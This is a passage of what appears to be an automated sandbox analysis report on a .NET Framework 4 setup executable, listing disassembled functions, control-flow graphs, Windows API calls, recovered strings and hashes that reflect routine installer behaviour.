                    control_flow_graph 587 ad751d-ad7560 CryptAcquireContextA 588 ad758d-ad759e CryptGenRandom 587->588 589 ad7562-ad756c GetLastError 587->589 590 ad75cb-ad75df 588->590 591 ad75a0-ad75aa GetLastError 588->591 592 ad757c 589->592 593 ad756e-ad757a 589->593 598 ad7657-ad765c 590->598 599 ad75e1-ad7606 call ad8b7e 590->599 596 ad75ac-ad75b8 591->596 597 ad75ba 591->597 594 ad757e 592->594 595 ad7583-ad7588 592->595 593->592 594->595 600 ad764f-ad7656 call ad854a 595->600 596->597 601 ad75bc 597->601 602 ad75c1-ad75c6 597->602 604 ad765e-ad7662 CryptReleaseContext 598->604 605 ad7668-ad766b 598->605 612 ad7608-ad760b 599->612 613 ad7643-ad7648 599->613 600->598 601->602 602->600 604->605 608 ad766d-ad7670 call ad8e6f 605->608 609 ad7675-ad7685 call ae91d5 605->609 608->609 616 ad760d-ad7612 612->616 617 ad7614-ad7624 call ad8abb 612->617 613->600 618 ad7634-ad763f 616->618 622 ad764a 617->622 623 ad7626-ad762a 617->623 618->599 621 ad7641 618->621 621->598 622->600 623->618 624 ad762c-ad762f call ad8e6f 623->624 624->618
                    APIs
                    • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,00000000,00000000,00AFBEF0,?,?,?,?,?,00AFBEF0), ref: 00AD7558
                    • GetLastError.KERNEL32 ref: 00AD7562
                    • CryptGenRandom.ADVAPI32(?,00000010,?), ref: 00AD7596
                    • GetLastError.KERNEL32 ref: 00AD75A0
                    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00AD7662
                    Strings
                    • Failed to allocate formatted current byte for the random string, xrefs: 00AD7643
                    • Failed to concatenate the formatted byte to the random string, xrefs: 00AD764A
                    • %02x, xrefs: 00AD75F4
                    • Failed to generate a random value, xrefs: 00AD75C1
                    • Failed to acquire Crypto context, xrefs: 00AD7583
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Crypt$ContextErrorLast$AcquireRandomRelease
                    • String ID: %02x$Failed to acquire Crypto context$Failed to allocate formatted current byte for the random string$Failed to concatenate the formatted byte to the random string$Failed to generate a random value
                    • API String ID: 236824231-4110481378
                    • Opcode ID: 4b6e90c7aaf01a6dc4a8e1c6915281fcf7357d16dfdc2b85113f3f46bfcd88f8
                    • Instruction ID: 2d24e3a900acbb2494099960f28f7d31004d65d32e1861b000b62dabb8b6ce76
                    • Opcode Fuzzy Hash: 4b6e90c7aaf01a6dc4a8e1c6915281fcf7357d16dfdc2b85113f3f46bfcd88f8
                    • Instruction Fuzzy Hash: 9B41E472D0866AABDB159BA8DD05BFEBBB5AF14300F150127E903B7381F7788901CB95
                    Function 00ADF9FE Relevance: 16.8, APIs: 7, Strings: 2, Instructions: 1051COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AF35E6: _malloc.LIBCMT ref: 00AF3600
                    • DeleteCriticalSection.KERNEL32(?,?), ref: 00AE003F
                    • DeleteCriticalSection.KERNEL32(?,?,?), ref: 00AE0592
                      • Part of subcall function 00AE2B6C: __EH_prolog3.LIBCMT ref: 00AE2B73
                    • DeleteCriticalSection.KERNEL32(?,?,00000000,?,?,?), ref: 00AE0433
                    • DeleteCriticalSection.KERNEL32(?,?), ref: 00AE070F
                    • DeleteCriticalSection.KERNEL32(?,?,00000000,?,?,?), ref: 00AE08F7
                    • DeleteCriticalSection.KERNEL32(?,?), ref: 00AE0AE6
                      • Part of subcall function 00AE8513: __EH_prolog3.LIBCMT ref: 00AE851D
                    • __CxxThrowException@8.LIBCMT ref: 00AE0B37
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CriticalDeleteSection$H_prolog3$Exception@8Throw_malloc
                    • String ID: ($)
                    • API String ID: 3630289165-2051389312
                    • Opcode ID: 7f60602731cc9fa1b758a682fc79ae8f251078d43a54059c5d7789e77a896280
                    • Instruction ID: c800b059de1c234e5739c769f0c047bcb7189669ed5c70a27b3e26097028c9a3
                    • Opcode Fuzzy Hash: 7f60602731cc9fa1b758a682fc79ae8f251078d43a54059c5d7789e77a896280
                    • Instruction Fuzzy Hash: 39B235715083C5CFD730DF69C588B9ABBE4BF89304F14496EE58E8B252CB71A885CB52
                    Function 00AE4252 Relevance: 14.8, APIs: 7, Strings: 1, Instructions: 792COMMON
                    Download Yara Rule
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3_
                    • String ID: "
                    • API String ID: 2427045233-123907689
                    • Opcode ID: 34aed82f905195b41c4f4c884d407dab1bdd2df26687f4963d4847357bde1ded
                    • Instruction ID: 3d5e1ce4186725af2233109eb36385fb2a3102c6fc26d9b59259ac9f7fabbe64
                    • Opcode Fuzzy Hash: 34aed82f905195b41c4f4c884d407dab1bdd2df26687f4963d4847357bde1ded
                    • Instruction Fuzzy Hash: D27224705083C1DFD721DF69C588B9ABBE8BF8D304F144A6DE5898B252C774E845CBA2
                    Function 00AD7A0A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89fileCOMMON
                    Download Yara Rule
                    APIs
                    • GetDriveTypeW.KERNELBASE(00AD7887,00000000,?), ref: 00AD7A32
                    • SetErrorMode.KERNELBASE(00000000), ref: 00AD7A50
                    • SetErrorMode.KERNELBASE(00000000), ref: 00AD7A59
                    • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00AD7A8B
                    • DeviceIoControl.KERNEL32(00000000,00070000,00000000,00000000,?,00000018,?,00000000), ref: 00AD7AB0
                    • CloseHandle.KERNEL32(?), ref: 00AD7AC5
                    • SetErrorMode.KERNELBASE(?), ref: 00AD7ACE
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorMode$CloseControlCreateDeviceDriveFileHandleType
                    • String ID: \\.\?:
                    • API String ID: 1714706890-2364848050
                    • Opcode ID: 02ff4823e0bc95b37222de8c20077756b2f50e007fa0077f1050e74b5c158049
                    • Instruction ID: b433d7d7bfa86cdb8f9435e822dfa127c3539ea4b9d51053bfa794a76b3952f0
                    • Opcode Fuzzy Hash: 02ff4823e0bc95b37222de8c20077756b2f50e007fa0077f1050e74b5c158049
                    • Instruction Fuzzy Hash: 7B216D75905218BBCB15EFE5EC48ADEBBB9EF45360F004417F506E7260D7709641CBA1
                    Function 00AD84C7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48timeCOMMON
                    Download Yara Rule
                    APIs
                    • GetLocalTime.KERNEL32(?,?,00000000,?,?,00AD6E90,00000000), ref: 00AD84E2
                    • swprintf.LIBCMT ref: 00AD8513
                      • Part of subcall function 00AD870C: lstrlenA.KERNEL32(00000000,00000004,00AD6E90,00AD6E90,00AFC170,00AD6E90,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000), ref: 00AD8738
                      • Part of subcall function 00AD870C: WriteFile.KERNELBASE(00000000,00000004,00000004,00000000,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170), ref: 00AD8762
                      • Part of subcall function 00AD870C: WriteFile.KERNELBASE(00AD4DA4,00000002,00000004,00000000,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170), ref: 00AD8787
                      • Part of subcall function 00AD870C: GetLastError.KERNEL32(?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170,00AFC170,00000032,%u/%u/%u, %u:%u:%u,?), ref: 00AD878D
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: FileWrite$ErrorLastLocalTimelstrlenswprintf
                    • String ID: %u/%u/%u, %u:%u:%u$[%s]
                    • API String ID: 4160318958-2469116371
                    • Opcode ID: ec08af8ff8d5015872b05bd1df3f18043197758e8173fcd683be27486bb603c9
                    • Instruction ID: ffc20fb7659aca20127a4888aaf8c75611ec4f57021080962d45cfffdf317d91
                    • Opcode Fuzzy Hash: ec08af8ff8d5015872b05bd1df3f18043197758e8173fcd683be27486bb603c9
                    • Instruction Fuzzy Hash: CD012C65900118BACB10EFD68D05EFFB7BCAF48B14F000056F945E2180D6789E41D765
                    Function 00AD8E9C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41timeCOMMON
                    Download Yara Rule
                    APIs
                    • GetTimeZoneInformation.KERNELBASE(?), ref: 00AD8EB8
                    • GetSystemTime.KERNEL32(?), ref: 00AD8EC2
                    • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?), ref: 00AD8ED7
                    Strings
                    • %04d/%02d/%02d %02d:%02d:%02d, xrefs: 00AD8EFB
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Time$System$InformationLocalSpecificZone
                    • String ID: %04d/%02d/%02d %02d:%02d:%02d
                    • API String ID: 1716759327-2911751566
                    • Opcode ID: 7fe6e7d20ebae1765c28cf80b82b34a9297a116e028ab458054791e52dd81143
                    • Instruction ID: f614c295efc2441cd1a45e8af67123df73e63fbbd1e5ff0d79997baae50349fc
                    • Opcode Fuzzy Hash: 7fe6e7d20ebae1765c28cf80b82b34a9297a116e028ab458054791e52dd81143
                    • Instruction Fuzzy Hash: 0E01D6A290011DBACB50DBD5D949EFFB7FCAF0C601F000557FA06E2140EA38AA45D771
                    Function 00AE2056 Relevance: 3.6, APIs: 2, Instructions: 585COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 00AE2060
                    • __CxxThrowException@8.LIBCMT ref: 00AE2229
                      • Part of subcall function 00AF3B07: RaiseException.KERNEL32(?,?,00AF3665,?,?,?,?,?,00AF3665,?,00AF7124,00AFBE98), ref: 00AF3B49
                      • Part of subcall function 00AF35E6: _malloc.LIBCMT ref: 00AF3600
                      • Part of subcall function 00AF35E6: std::exception::exception.LIBCMT ref: 00AF3635
                      • Part of subcall function 00AF35E6: std::exception::exception.LIBCMT ref: 00AF364F
                      • Part of subcall function 00AF35E6: __CxxThrowException@8.LIBCMT ref: 00AF3660
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8Throwstd::exception::exception$ExceptionH_prolog3_catchRaise_malloc
                    • String ID:
                    • API String ID: 1092593795-0
                    • Opcode ID: 5bc135814404815643115516572faa9c6cabed7c719e9a934a9ae7fa578f3666
                    • Instruction ID: 91c772b18eb411dfb5d3b35b89c830c8a328576a1ca6e981d9751b9c752de6fb
                    • Opcode Fuzzy Hash: 5bc135814404815643115516572faa9c6cabed7c719e9a934a9ae7fa578f3666
                    • Instruction Fuzzy Hash: 55426B70900289DFCB11CFA9C588B9DBBF9BF59304F248189E449AB352D775AE81CF61
                    Function 00AE0BD0 Relevance: 3.6, APIs: 2, Instructions: 576COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Exception@8H_prolog3Throw
                    • String ID:
                    • API String ID: 3670251406-0
                    • Opcode ID: 0d9e0ad97d281f3602a80af37cfc7c55190c8b719fb766e98f66cc5c461c2134
                    • Instruction ID: 0dd027e2fba7b196badc68666a87e522095ce8d4ffaf06386a3758c9e451c9bd
                    • Opcode Fuzzy Hash: 0d9e0ad97d281f3602a80af37cfc7c55190c8b719fb766e98f66cc5c461c2134
                    • Instruction Fuzzy Hash: 97424F71D002A9DFCF10DF95C980ADDBBB5BF08314F2481AAE549AB212D770AE85CF91
                    Function 00ADCA78 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                    Download Yara Rule
                    APIs
                    • GetSystemInfo.KERNELBASE(?), ref: 00ADCACB
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: InfoSystem
                    • String ID:
                    • API String ID: 31276548-0
                    • Opcode ID: b02cfb56db89c7415dda8d5380c3bc9830120483d41b702564e9ba095569fe3e
                    • Instruction ID: 1b6299f109aba186962ab43aee9b6d45f3693dcf75f4d0875c8ba757863eb6dd
                    • Opcode Fuzzy Hash: b02cfb56db89c7415dda8d5380c3bc9830120483d41b702564e9ba095569fe3e
                    • Instruction Fuzzy Hash: 78F054B4900B469BC360DF6AC5446DAFBF8BF98714F50491FD8AA93350D7B0A5498F50
                    Function 00AD5E0B Relevance: 59.7, APIs: 18, Strings: 16, Instructions: 220synchronizationCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 0 ad5e0b-ad5e48 call aede40 call ad95c3 5 ad5e4a-ad5e4f 0->5 6 ad5e54-ad5e63 call ad9663 0->6 7 ad603d-ad6045 call ad854a 5->7 11 ad5e6f-ad5e7b call ad99d2 6->11 12 ad5e65-ad5e6a 6->12 15 ad606e-ad6073 7->15 19 ad5e7d-ad5e82 11->19 20 ad5e87-ad5e9c SetEnvironmentVariableW 11->20 12->7 17 ad607b-ad607f 15->17 18 ad6075-ad6076 call ad9663 15->18 22 ad6089-ad608d 17->22 23 ad6081-ad6084 call ad8e6f 17->23 18->17 19->7 24 ad5e9e-ad5ea8 GetLastError 20->24 25 ad5ec9-ad5ed5 SetEnvironmentVariableW 20->25 27 ad608f-ad6092 call ad8e6f 22->27 28 ad6097-ad6099 22->28 23->22 31 ad5eb8 24->31 32 ad5eaa-ad5eb6 24->32 33 ad5ed7-ad5ee1 GetLastError 25->33 34 ad5f02-ad5f11 SetEnvironmentVariableW 25->34 27->28 29 ad609b-ad609c call ad8e6f 28->29 30 ad60a1-ad60a7 28->30 29->30 41 ad5ebf-ad5ec4 31->41 42 ad5eba 31->42 32->31 36 ad5ef1 33->36 37 ad5ee3-ad5eef 33->37 39 ad5f3e-ad5f44 34->39 40 ad5f13-ad5f1d GetLastError 34->40 43 ad5ef8-ad5efd 36->43 44 ad5ef3 36->44 37->36 47 ad5f46-ad5f54 SetEnvironmentVariableW 39->47 48 ad5f81-ad5f91 call ad9779 39->48 45 ad5f2d 40->45 46 ad5f1f-ad5f2b 40->46 41->7 42->41 43->7 44->43 50 ad5f2f 45->50 51 ad5f34-ad5f39 45->51 46->45 47->48 52 ad5f56-ad5f60 GetLastError 47->52 56 ad5f9d-ad5fdc call ad84c7 CreateProcessW 48->56 57 ad5f93-ad5f98 48->57 50->51 51->7 54 ad5f70 52->54 55 ad5f62-ad5f6e 52->55 58 ad5f77-ad5f7c 54->58 59 ad5f72 54->59 55->54 62 ad5fde-ad5fe8 56->62 63 ad5fea 56->63 57->7 58->7 59->58 62->7 64 ad5fed-ad5ff7 GetTopWindow 63->64 65 ad6016-ad601a 64->65 66 ad601c-ad602b Sleep 65->66 67 ad5ff9-ad600b GetWindowThreadProcessId 65->67 66->64 68 ad602d-ad6036 call ad68fb 66->68 67->68 69 ad600d-ad6010 GetWindow 67->69 72 ad6038 68->72 73 ad6047-ad606c WaitForSingleObject GetExitCodeProcess CloseHandle * 2 68->73 69->65 72->7 73->15
                    APIs
                    • _memset.LIBCMT ref: 00AD5E2A
                      • Part of subcall function 00AD95C3: GetCurrentDirectoryW.KERNEL32(00000040,00000000,00000000,00000000,00AFBEF0,?,?,00AD6F89,00AFBEF8,00000000,00AFBEF0,?,?,?,00AD6F09,?), ref: 00AD95E8
                      • Part of subcall function 00AD95C3: GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,?,00AD6F89,00AFBEF8,00000000,00AFBEF0,?,?,?,00AD6F09,?,?,00000000), ref: 00AD9607
                      • Part of subcall function 00AD95C3: GetLastError.KERNEL32(?,?,00AD6F89,00AFBEF8,00000000,00AFBEF0,?,?,?,00AD6F09,?,?,00000000,?,?,00AD5B53), ref: 00AD960D
                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?), ref: 00AD604C
                    • GetExitCodeProcess.KERNELBASE(?,?), ref: 00AD6058
                    • CloseHandle.KERNELBASE(00AD5BB4,?,?,?,?,?,?), ref: 00AD6067
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?), ref: 00AD606C
                    Strings
                    • Failed to set _SFX_CAB_EXE_PATH, xrefs: 00AD5EBF
                    • Failed to get current directory, xrefs: 00AD5E4A
                    • Failed to set target directory, xrefs: 00AD5E65
                    • 2, xrefs: 00AD6027
                    • __COMPAT_LAYER, xrefs: 00AD5F4B
                    • _SFX_CAB_EXE_PARAMETERS, xrefs: 00AD5F08
                    • Failed to set _SFX_CAB_EXE_PACKAGE, xrefs: 00AD5EF8
                    • _SFX_CAB_EXE_PATH, xrefs: 00AD5E93
                    • Executing command line: '%S', xrefs: 00AD5FA2
                    • Failed to set _SFX_CAB_EXE_PARAMETERS, xrefs: 00AD5F34
                    • Failed to start the process, xrefs: 00AD5FE3
                    • Failed to stop reporting progress, xrefs: 00AD6038
                    • _SFX_CAB_EXE_PACKAGE, xrefs: 00AD5ECC
                    • Unable to resolve the path of the exe, xrefs: 00AD5F93
                    • Failed to get the name of the module, xrefs: 00AD5E7D
                    • Failed to set __COMPAT_LAYER, xrefs: 00AD5F77
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CloseCurrentDirectoryHandle$CodeErrorExitLastObjectProcessSingleWait_memset
                    • String ID: 2$Executing command line: '%S'$Failed to get current directory$Failed to get the name of the module$Failed to set _SFX_CAB_EXE_PACKAGE$Failed to set _SFX_CAB_EXE_PARAMETERS$Failed to set _SFX_CAB_EXE_PATH$Failed to set __COMPAT_LAYER$Failed to set target directory$Failed to start the process$Failed to stop reporting progress$Unable to resolve the path of the exe$_SFX_CAB_EXE_PACKAGE$_SFX_CAB_EXE_PARAMETERS$_SFX_CAB_EXE_PATH$__COMPAT_LAYER
                    • API String ID: 3070882113-3483177241
                    • Opcode ID: 3fdba85a50f43bcdfaa9a5df644340b032bf4517f6d4fa5e003a62e1069b28bb
                    • Instruction ID: 8f029e154120727e3889bec7134bb5883d13712a47f53a515619a7aa681d87e0
                    • Opcode Fuzzy Hash: 3fdba85a50f43bcdfaa9a5df644340b032bf4517f6d4fa5e003a62e1069b28bb
                    • Instruction Fuzzy Hash: F861C373D41625BBDB21ABE4CD05AAEBB74AF04790F058127ED13FA360DB758E018AD1
                    Function 00AD805A Relevance: 50.9, APIs: 14, Strings: 15, Instructions: 161COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 74 ad805a-ad8074 75 ad8228-ad8232 74->75 76 ad807a-ad808f call ad87eb 74->76 77 ad823c-ad8240 75->77 78 ad8234-ad8237 call ad8e6f 75->78 85 ad809b-ad80a7 GetSystemDirectoryW 76->85 86 ad8091-ad8096 76->86 81 ad824a-ad824e 77->81 82 ad8242-ad8245 call ad8e6f 77->82 78->77 82->81 88 ad80a9-ad80b3 GetLastError 85->88 89 ad80d4-ad80d6 85->89 87 ad821e-ad821f call ad854a 86->87 95 ad8224-ad8227 87->95 93 ad80b5-ad80c1 88->93 94 ad80c3 88->94 91 ad80d8-ad80e6 call ad87eb 89->91 92 ad80fa-ad8112 call ad8b7e 89->92 91->86 102 ad80e8-ad80f4 GetSystemDirectoryW 91->102 103 ad811e-ad812b LoadLibraryW 92->103 104 ad8114-ad8119 92->104 93->94 98 ad80ca-ad80cf 94->98 99 ad80c5 94->99 95->75 98->87 99->98 102->88 105 ad80f6-ad80f8 102->105 106 ad812d-ad8137 GetLastError 103->106 107 ad8158-ad816d GetProcAddress 103->107 104->87 105->88 105->92 110 ad8139-ad8145 106->110 111 ad8147 106->111 108 ad81f8-ad8202 GetLastError 107->108 109 ad8173-ad8182 GetProcAddress 107->109 113 ad8204-ad8210 108->113 114 ad8212 108->114 109->108 112 ad8184-ad8193 GetProcAddress 109->112 110->111 115 ad814e-ad8153 111->115 116 ad8149 111->116 112->108 117 ad8195-ad81a4 GetProcAddress 112->117 113->114 118 ad8219 114->118 119 ad8214 114->119 115->87 116->115 117->108 120 ad81a6-ad81b5 GetProcAddress 117->120 118->87 119->118 120->108 121 ad81b7-ad81c6 GetProcAddress 120->121 121->108 122 ad81c8-ad81d7 GetProcAddress 121->122 122->108 123 ad81d9-ad81e8 GetProcAddress 122->123 123->108 124 ad81ea-ad81f1 call ad84c7 123->124 126 ad81f6 124->126 126->95
                    APIs
                      • Part of subcall function 00AD87EB: GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                      • Part of subcall function 00AD87EB: HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00AD809F
                    • GetLastError.KERNEL32 ref: 00AD80A9
                    Strings
                    • ClusterOpenEnum, xrefs: 00AD8184
                    • Failed to load all required functions from the clusapi.dll, xrefs: 00AD8219
                    • OpenCluster, xrefs: 00AD815E
                    • OpenClusterResource, xrefs: 00AD81B7
                    • Failed to load clusapi.dll, xrefs: 00AD814E
                    • Failed to allocate the path ro the clusapi.dll, xrefs: 00AD8114
                    • Failed to allocate the system directory, xrefs: 00AD8091
                    • Successfully bound to the ClusApi.dll, xrefs: 00AD81EA
                    • CloseCluster, xrefs: 00AD8173
                    • ClusterResourceControl, xrefs: 00AD81D9
                    • Failed to get the system directory, xrefs: 00AD80CA
                    • ClusterEnum, xrefs: 00AD81A6
                    • CloseClusterResource, xrefs: 00AD81C8
                    • ClusterCloseEnum, xrefs: 00AD8195
                    • %s\clusapi.dll, xrefs: 00AD8100
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocDirectoryErrorLastProcessSystem
                    • String ID: %s\clusapi.dll$CloseCluster$CloseClusterResource$ClusterCloseEnum$ClusterEnum$ClusterOpenEnum$ClusterResourceControl$Failed to allocate the path ro the clusapi.dll$Failed to allocate the system directory$Failed to get the system directory$Failed to load all required functions from the clusapi.dll$Failed to load clusapi.dll$OpenCluster$OpenClusterResource$Successfully bound to the ClusApi.dll
                    • API String ID: 1959106193-2729475906
                    • Opcode ID: 8e3240e168a382095825eba182af9a61de73fe3c0091c30ec8ec877334e57c21
                    • Instruction ID: d0dd598f7021a48a0c782890cbb6214da4da931629997dc868ce1b650e6767ec
                    • Opcode Fuzzy Hash: 8e3240e168a382095825eba182af9a61de73fe3c0091c30ec8ec877334e57c21
                    • Instruction Fuzzy Hash: D241F776A90707BBD7119BB9DD41B693AB9AF54710F250427A413E3391EF7CCD068B20
